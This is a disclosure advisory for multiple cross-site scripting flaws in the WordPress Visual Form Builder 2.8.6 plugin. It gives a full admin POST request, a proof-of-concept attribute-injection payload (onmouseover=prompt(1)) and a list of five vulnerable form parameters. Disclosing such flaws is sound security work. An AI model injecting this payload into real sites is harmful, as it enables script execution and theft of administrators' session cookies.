WordPress Visual Form Builder 2.8.6 Cross Site Scripting

`Product: Visual Form Builder  
Version: 2.8.6  
Exploit Author: Sachin Wagh  
Home page Link: https://wordpress.org/plugins/visual-form-builder/  
  
============================================================================  
Details:  
The Visual Form Builder plugin for WordPress is prone to a multiple  
cross-site scripting vulnerabilities because it fails to sufficiently  
sanitize user-supplied input.  
An attacker may leverage these issues to execute arbitrary script code  
in the browser of an unsuspecting user in the context of the affected  
site. This may allow the attacker to steal cookie-based authentication  
credentials and to launch other attacks.  
============================================================================  
Proof-Of-Concept:  
1. Burp Request :  
POST /wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new  
Cookie: wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C42531fef03062ec0f133098c9ed48188fdfde52068a62e2fe97bf6cace6400a5;  
wp-settings-time-1=1458990477;  
wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff;  
wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C9a2dbae4f558cd34542207d3e49ac49e475db7ebc883b067b94a3e6501affaa5;  
security_level=0; _ga=GA1.1.1331075502.1458634204  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 264  
action=create_form&_wpnonce=4cdadd3b17&_wp_http_referer=%2Fwordpress-4.4%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dvfb-add-new&form_title=XSS-1&form_email_from_name=XSS-2&form_email_from=XSS-3&form_email_subject=XSS-4&form_email_to%5B%5D=XSS-5&submit=Create+Form  
2. Payload : " onmouseover=prompt(1) "  
============================================================================  
Vulnerable Product: [+] Visual Form Builder 2.8.6  
Vulnerable Parameter(s):  
[+]form_title  
[+]form_email_to[]  
[+]form_email_from_name  
[+]form_email_from  
[+]form_email_subject  
  
============================================================================  
  
Affected Area(s):  
[+] http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new  
============================================================================  
Credits & Authors :  
Sachin Wagh (@tiger_tigerboy)  
============================================================================  
`